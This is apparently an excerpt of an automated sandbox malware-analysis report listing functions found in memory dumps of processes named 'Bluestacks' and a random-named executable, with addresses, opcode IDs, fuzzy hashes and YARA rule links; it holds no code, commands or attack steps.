                                                                                              • Opcode Fuzzy Hash: 2839d9530783c7908752ddeffadb30afb851cbb22e7d81870124344009468250
                                                                                              • Instruction Fuzzy Hash: 2DF090307089068BF718DA08D0B57B533D2EB5A318F20457DD92AC72D1DE6EF4408740
                                                                                              Function 00007FFD34A60293 Relevance: .0, Instructions: 35COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: d22a8e422b156d5809998a2f26626c4b4fdbf4edca1dfab634183af3fc6a9455
                                                                                              • Instruction ID: f80b15d410e1df9e481b2a69e31084751483cac112b0c00ad883f7da5cda05d9
                                                                                              • Opcode Fuzzy Hash: d22a8e422b156d5809998a2f26626c4b4fdbf4edca1dfab634183af3fc6a9455
                                                                                              • Instruction Fuzzy Hash: AD010070A1992C8FDFA8DB08C8A4BA8B7B1FB69305F1041D9800EE3650CB359E84DF01
                                                                                              Function 00007FFD34A68CFE Relevance: .0, Instructions: 31COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 99927d0b9716c8a04f94f7f185d83cd53b6922ced33cd01a2100db852817900b
                                                                                              • Instruction ID: ae3bbf5baaf1f38eb756b8a97fcc83214f1191bcc9f2bc1acff250d9e4e3c48e
                                                                                              • Opcode Fuzzy Hash: 99927d0b9716c8a04f94f7f185d83cd53b6922ced33cd01a2100db852817900b
                                                                                              • Instruction Fuzzy Hash: C6F06530B08D058FD758EF2C546A23972D2FF9C315710457FA04ED76A2CE79D8414701
                                                                                              Function 00007FFD34A6DFBE Relevance: .0, Instructions: 31COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 72e208b9fadce1dabf41845f570a7d458eaa4d434f2eee5f86e3071375809720
                                                                                              • Instruction ID: 02cca39fa91faad208b319c2cae6e1c8f700123d9a60e20df328e74e805e0e9f
                                                                                              • Opcode Fuzzy Hash: 72e208b9fadce1dabf41845f570a7d458eaa4d434f2eee5f86e3071375809720
                                                                                              • Instruction Fuzzy Hash: BFF03030B089048FE758EF28406A63972D2EF98215710007EA48EC76A1CE7598414741
                                                                                              Function 00007FFD346710C0 Relevance: .0, Instructions: 27COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 98f0608037f0dbceee48e27121773d065fb4128885dce1cee15b40c8fe86dd4d
                                                                                              • Instruction ID: 9fe0f2a5f1c1c9a5964120c58eb2640ee36acc8777f338e7a00c5f7ee0bd7004
                                                                                              • Opcode Fuzzy Hash: 98f0608037f0dbceee48e27121773d065fb4128885dce1cee15b40c8fe86dd4d
                                                                                              • Instruction Fuzzy Hash: 89E02621B4CC5906EB7CA9B468B21F47280DB86314B0401BED14AC22C6CC4D5CC14280
                                                                                              Function 00007FFD3467480B Relevance: .0, Instructions: 24COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2288c99eab7b3ce79b0c5988de62a37b3f12b0a73a0bcbac6919596a7fbac341
                                                                                              • Instruction ID: 135c3b4c9c4e393ceb03ccd7f056468db9e278f93d3abab9c53b5b3cfe769171
                                                                                              • Opcode Fuzzy Hash: 2288c99eab7b3ce79b0c5988de62a37b3f12b0a73a0bcbac6919596a7fbac341
                                                                                              • Instruction Fuzzy Hash: 97F09830A5893E8AEB94AE508CE86F86761BF16305F1045B9C28DD7191CA6C6981AA10
                                                                                              Function 00007FFD34676DE8 Relevance: .0, Instructions: 24COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: fe0b75d08b9c301d64e052730cfc3b5d421e3e3e28d73b2336f9e0da07ec4312
                                                                                              • Instruction ID: 880944a4ca1a7e5abc769b26202ec5598320461936a55bcb254de24b44cde93f
                                                                                              • Opcode Fuzzy Hash: fe0b75d08b9c301d64e052730cfc3b5d421e3e3e28d73b2336f9e0da07ec4312
                                                                                              • Instruction Fuzzy Hash: 17E03964B081668AF7505A44C8F03ED6621FB85300F24D479DA4EE73C2CD2C9D46A761
                                                                                              Function 00007FFD34A671A8 Relevance: .0, Instructions: 22COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 0efdcf85dd576d3031c9461288f164aff5d270bc22803040b0f5aaf7ab49cef7
                                                                                              • Instruction ID: 5c3482b347d03b5dafe846fbb524d2b23b3d17320ca3dba6c3a55c68fcb520d9
                                                                                              • Opcode Fuzzy Hash: 0efdcf85dd576d3031c9461288f164aff5d270bc22803040b0f5aaf7ab49cef7
                                                                                              • Instruction Fuzzy Hash: 6AE0E579E2980E8EDF94DB84C4A15FDB7B1FF49369F200037C20EE21A0DA2C2500AA60
                                                                                              Function 00007FFD34A6A412 Relevance: .0, Instructions: 20COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: a25fa914d06831eac835e4ff343ff1302396900a616972b4a152bb44c3d6211c
                                                                                              • Instruction ID: 8bc787f2fc5ee013007054301640792a2af523adde5cbe689881fe3b33bcad56
                                                                                              • Opcode Fuzzy Hash: a25fa914d06831eac835e4ff343ff1302396900a616972b4a152bb44c3d6211c
                                                                                              • Instruction Fuzzy Hash: 1BE0CD56F0E3834FE766067008B90B42BC0DF173647550475C657CA1D3EC9C2C465321
                                                                                              Function 00007FFD346748AE Relevance: .0, Instructions: 19COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 83accb6ea45df16bc0cc82df944b8a2b1f38f4474f06db1afa9d6c8db19a8251
                                                                                              • Instruction ID: f4fc81388a3dccbfe8e8f0fec83a23af3ddf442da1d678c8eaade9b1d32f00f8
                                                                                              • Opcode Fuzzy Hash: 83accb6ea45df16bc0cc82df944b8a2b1f38f4474f06db1afa9d6c8db19a8251
                                                                                              • Instruction Fuzzy Hash: 3BE09A20B1857947FA90DE148DE87F81B51AF47300F1081B5C68DD31D2CD1DAD81AA10
                                                                                              Function 00007FFD34670B9D Relevance: .0, Instructions: 14COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c2596b17b553f4e625ef0d4ffdc5abbd7496b769848b3d50fb6523f01d2ad3da
                                                                                              • Instruction ID: 82f479a2fca025f8d34a3513ca480f6ddc2dcfeb09ac67db4faec6ff009333e2
                                                                                              • Opcode Fuzzy Hash: c2596b17b553f4e625ef0d4ffdc5abbd7496b769848b3d50fb6523f01d2ad3da
                                                                                              • Instruction Fuzzy Hash: 30C0123062880E8FDA40BB28C888828BBA0FB0F305BD914E0E00CCB1A1D61998948701
                                                                                              Function 00007FFD346706A5 Relevance: .0, Instructions: 13COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
                                                                                              • Instruction ID: c345ee7466010aebb398367bce60842aff246f5d4e2f226a0d64364be77f1790
                                                                                              • Opcode Fuzzy Hash: e38b839a962afbf7466bb809ed74affd0fe7e6cfbd99036e6d55b82f99f34630
                                                                                              • Instruction Fuzzy Hash: 15C08C04F1BC3F00B800392E1CF20ECAA006BC7610FD08132C30CD00C29C4D60C52166
                                                                                              Function 00007FFD34A61DBB Relevance: .0, Instructions: 11COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 1ca924ace70df0b884855a18e32bba2dd2b934f3daca8841a9865570b0a45c21
                                                                                              • Instruction ID: d972519a7d759b30169aacb512aa918e3a71852dc9d9a44378e9a863678ef63e
                                                                                              • Opcode Fuzzy Hash: 1ca924ace70df0b884855a18e32bba2dd2b934f3daca8841a9865570b0a45c21
                                                                                              • Instruction Fuzzy Hash: D5D09220F0D55385F668460280B067A69945F43329F70483FC2DFC18C18E2C74027702
                                                                                              Function 00007FFD34A6AEFB Relevance: .0, Instructions: 11COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 607c3bbb7082d90f7934c627a1acdeeb8e66a647cf49131bae9bc1802bc13f78
                                                                                              • Instruction ID: 41bfbf4eb9ced4911771422ed3ecb4abff17641684ed4fe9f929075e79a401ec
                                                                                              • Opcode Fuzzy Hash: 607c3bbb7082d90f7934c627a1acdeeb8e66a647cf49131bae9bc1802bc13f78
                                                                                              • Instruction Fuzzy Hash: 35D0C9A0B1E56385F1784A0181F123D65E0CF43329E30003ED2AFC18C5CD2C79417A12
                                                                                              Function 00007FFD34A6DA95 Relevance: .0, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2aedec227b0bf816064b6040577f353a7d62dfd50db72e1254aa9bac1459961c
                                                                                              • Instruction ID: dbbb596e676321b3cf65092bc62f015eefd553c902a8c144a0d473cf18fd25f4
                                                                                              • Opcode Fuzzy Hash: 2aedec227b0bf816064b6040577f353a7d62dfd50db72e1254aa9bac1459961c
                                                                                              • Instruction Fuzzy Hash: 2BC04C303048149FD7C4DE4DC0D463877D1EF4A311B5000B4E14ACB6A6C52C9C45A710
                                                                                              Function 00007FFD346712B8 Relevance: .0, Instructions: 10COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e324092602b3f72e1152b057234d25b009204692493c25fb805eddb0f9527d50
                                                                                              • Instruction ID: 05d28cda9628e24156d518c235452a3abd5fff98047e8328ccf053225ffc3910
                                                                                              • Opcode Fuzzy Hash: e324092602b3f72e1152b057234d25b009204692493c25fb805eddb0f9527d50
                                                                                              • Instruction Fuzzy Hash: 0FB09210A6682A06D448FAB58CE60E4BA50EB4A244FD681B4D60DC1282E94F29EBA249
                                                                                              Function 00007FFD34A699AC Relevance: .0, Instructions: 8COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 97b5b4b87c2dba977795931ca0690acf225cd92460997749b6571d8fab43f2d0
                                                                                              • Instruction ID: 4b78336690347b4555c33fb94c438e107b922cdebea75a9e9cf3cba739645008
                                                                                              • Opcode Fuzzy Hash: 97b5b4b87c2dba977795931ca0690acf225cd92460997749b6571d8fab43f2d0
                                                                                              • Instruction Fuzzy Hash: 5AC04C7070C405CFE690DB18C194A2936A1EF06314B7140B4E11ACB1B5DA2DEC41AB00
                                                                                              Function 00007FFD34A612DF Relevance: .0, Instructions: 8COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: bdd883357df6c0f46976562c5cefe8407d90853fc75f5b7e721bfd0adb88b961
                                                                                              • Instruction ID: 3c1769f234c28cc640de5463e596339fe53e92c8aaac9160041283970efbdea4
                                                                                              • Opcode Fuzzy Hash: bdd883357df6c0f46976562c5cefe8407d90853fc75f5b7e721bfd0adb88b961
                                                                                              • Instruction Fuzzy Hash: 75C09290F0E3D35FFB2129B408F50BD0A800F57669BA90572D78ACE2CBEC5CA80576E1
                                                                                              Function 00007FFD34A6085C Relevance: .0, Instructions: 8COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 97b5b4b87c2dba977795931ca0690acf225cd92460997749b6571d8fab43f2d0
                                                                                              • Instruction ID: 5451be1488a4f4fc7e6239ff8f1f482d9dd466962446f6af68922486102aa260
                                                                                              • Opcode Fuzzy Hash: 97b5b4b87c2dba977795931ca0690acf225cd92460997749b6571d8fab43f2d0
                                                                                              • Instruction Fuzzy Hash: 16C04C7071C415CFE690DB18C194A2937A0FF05314B7500B4E24DCB2B1DB2CEC41B740
                                                                                              Function 00007FFD346706C8 Relevance: .0, Instructions: 8COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
                                                                                              • Instruction ID: 5f50ccebf77bd3794ae4a60fb9f63b7008a0ba5f9e4f566bca35b453b308a4e9
                                                                                              • Opcode Fuzzy Hash: 53bb17afe161cd3c8899fff8457088f758022530ecbe74bccee355b060b98651
                                                                                              • Instruction Fuzzy Hash: A8B01204D6781F00A404357A0CD20E4B8405B46104FC05070D60CC00C2984D10D42252

                                                                                              Non-executed Functions

                                                                                              Function 00007FFD346709B0 Relevance: 5.2, Strings: 4, Instructions: 183COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: c9$!k9$"s9$#{9
                                                                                              • API String ID: 0-1692736845
                                                                                              • Opcode ID: 0fb289fb47a5deec7ef168d895a6a25b6b9d2bdf2d5240c6b2077d5b116f313d
                                                                                              • Instruction ID: a734eb8e83ac71641db9f3c6cc869b341831270852cb1dbd128eb95d7a6ec3bc
                                                                                              • Opcode Fuzzy Hash: 0fb289fb47a5deec7ef168d895a6a25b6b9d2bdf2d5240c6b2077d5b116f313d
                                                                                              • Instruction Fuzzy Hash: AB414017B9C67246E12237FDB4611FFAB889FE127EB488677E1CCD90C38D08648586E5

                                                                                              Executed Functions

                                                                                              Function 00007FFD34680D48 Relevance: 1.5, Strings: 1, Instructions: 262COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: 5Y_H
                                                                                              • API String ID: 0-3237497481
                                                                                              • Opcode ID: 64d1364fe24eca6f765dcc74dd61bc81de44704bba52a7747f86a5a01ccfb9e2
                                                                                              • Instruction ID: a6c2f5325bf5f2e0030e1b510019d5b0a06c3528b271ea88b4b823696220af39
                                                                                              • Opcode Fuzzy Hash: 64d1364fe24eca6f765dcc74dd61bc81de44704bba52a7747f86a5a01ccfb9e2
                                                                                              • Instruction Fuzzy Hash: B791F276A09B9A8FE799DB68C8693A97FE1FF66310F0501AFC049D73E2DA791411C700
                                                                                              Function 00007FFD34680E43 Relevance: .2, Instructions: 173COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: c47ee99d5252679eaa3071752b2bd08c42027bf8d6de930ff6dcaadde3cbef0f
                                                                                              • Instruction ID: 403c49041456fc03e2355b25ad9d78063c5d95f848c9733f2194ef2fa212b4f4
                                                                                              • Opcode Fuzzy Hash: c47ee99d5252679eaa3071752b2bd08c42027bf8d6de930ff6dcaadde3cbef0f
                                                                                              • Instruction Fuzzy Hash: 4E51BF76B18B5E8AE7988F5CC8697E97FD5FB96325F4102AEC049D33D1CA791421C700
                                                                                              Function 00007FFD34680998 Relevance: 1.3, Strings: 1, Instructions: 92COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: @4s4
                                                                                              • API String ID: 0-3163821293
                                                                                              • Opcode ID: c56e77566906328d607ed9bddc7ff2c04549afca43f653bfc8954a6ab9b3e0cc
                                                                                              • Instruction ID: 1205e9c09a0aa9ed73e490ce17130863bb2d062ba29100f96045c75211269951
                                                                                              • Opcode Fuzzy Hash: c56e77566906328d607ed9bddc7ff2c04549afca43f653bfc8954a6ab9b3e0cc
                                                                                              • Instruction Fuzzy Hash: 0D21D320B18A2A0FF798BB6CD4696B573D6EB99311F1100BDE51DC33D3DD28AC418281
                                                                                              Function 00007FFD34680908 Relevance: .1, Instructions: 118COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 2cd09c376caa99ecaeec8454059c6ebc7a4fe30a76283cee91b194be6247da6b
                                                                                              • Instruction ID: e3e17ea6dfe491c4d697775917054a70140ce5954e307c36e2d60d480d1983c3
                                                                                              • Opcode Fuzzy Hash: 2cd09c376caa99ecaeec8454059c6ebc7a4fe30a76283cee91b194be6247da6b
                                                                                              • Instruction Fuzzy Hash: 6E21EA3130CC184FD7A8EA1CE889DB977D1EF5A32170511BAE58EC7125E911EC8287C2
                                                                                              Function 00007FFD34680C25 Relevance: .1, Instructions: 89COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 50a64416edbe275deaf182fd19c2600ac86d9028f58e3166396ea3e7625d0d91
                                                                                              • Instruction ID: f07050602c5cc1c452a5634482d78da5381c3ffecc0df385ef8cbbb186b88607
                                                                                              • Opcode Fuzzy Hash: 50a64416edbe275deaf182fd19c2600ac86d9028f58e3166396ea3e7625d0d91
                                                                                              • Instruction Fuzzy Hash: 62214B76B0DB998FE7129F6898A10ED7B60EF93325F0546B3D148CA183DD3C25069781
                                                                                              Function 00007FFD346808F8 Relevance: .1, Instructions: 68COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 53add752f6c31b0ee3e893d005053132a81d5b3208b78c74198c8bd131a2d44b
                                                                                              • Instruction ID: a0dab2b6c5f1a8376bb0d8daa295fcc0eeb44f809eac761741b94049a7cdb926
                                                                                              • Opcode Fuzzy Hash: 53add752f6c31b0ee3e893d005053132a81d5b3208b78c74198c8bd131a2d44b
                                                                                              • Instruction Fuzzy Hash: D501F732B0D93D0B5AA8D51DD89A979B3D2DBCBB307151279D98EC3245DC14BC5342C1
                                                                                              Function 00007FFD34680C38 Relevance: .1, Instructions: 57COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: d9fea1406810f1e9b23c755ccfb29c7fbcdd32518afc9d4491ab5de315d26591
                                                                                              • Instruction ID: fd54f09a4e466ee793075daf3490f0fab750933ddb3a6cfe4c31e6d1ad240a8e
                                                                                              • Opcode Fuzzy Hash: d9fea1406810f1e9b23c755ccfb29c7fbcdd32518afc9d4491ab5de315d26591
                                                                                              • Instruction Fuzzy Hash: 6511E075B0EB9D8FEB529F2888A10ED7BB0EF63311F1649F6C244DB182D93C65069780
                                                                                              Function 00007FFD3468108D Relevance: .1, Instructions: 53COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: f713fb9d7427a692960b0e08e6d60831691ec52531609b60235d7a0d8d4aa717
                                                                                              • Instruction ID: cc1156b1c8bc7e31a8a1b1a97fc70e4f867143fc40c9b4672b49c1df4d26cf13
                                                                                              • Opcode Fuzzy Hash: f713fb9d7427a692960b0e08e6d60831691ec52531609b60235d7a0d8d4aa717
                                                                                              • Instruction Fuzzy Hash: AD01D621A8E6E20FE76A96B09CB15E17FE5CF8721070901FED1C9CB1A3CC4D58868351
                                                                                              Function 00007FFD34680C40 Relevance: .1, Instructions: 51COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 0000004B.00000002.3639809820.00007FFD34680000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34680000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_75_2_7ffd34680000_fvXBwqYdGYPkplbuTcoXecCdP.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 96ed0e62ce2c90e8a7b0d56708467c39bbce42824869a43e3c3ada27ea4ff556
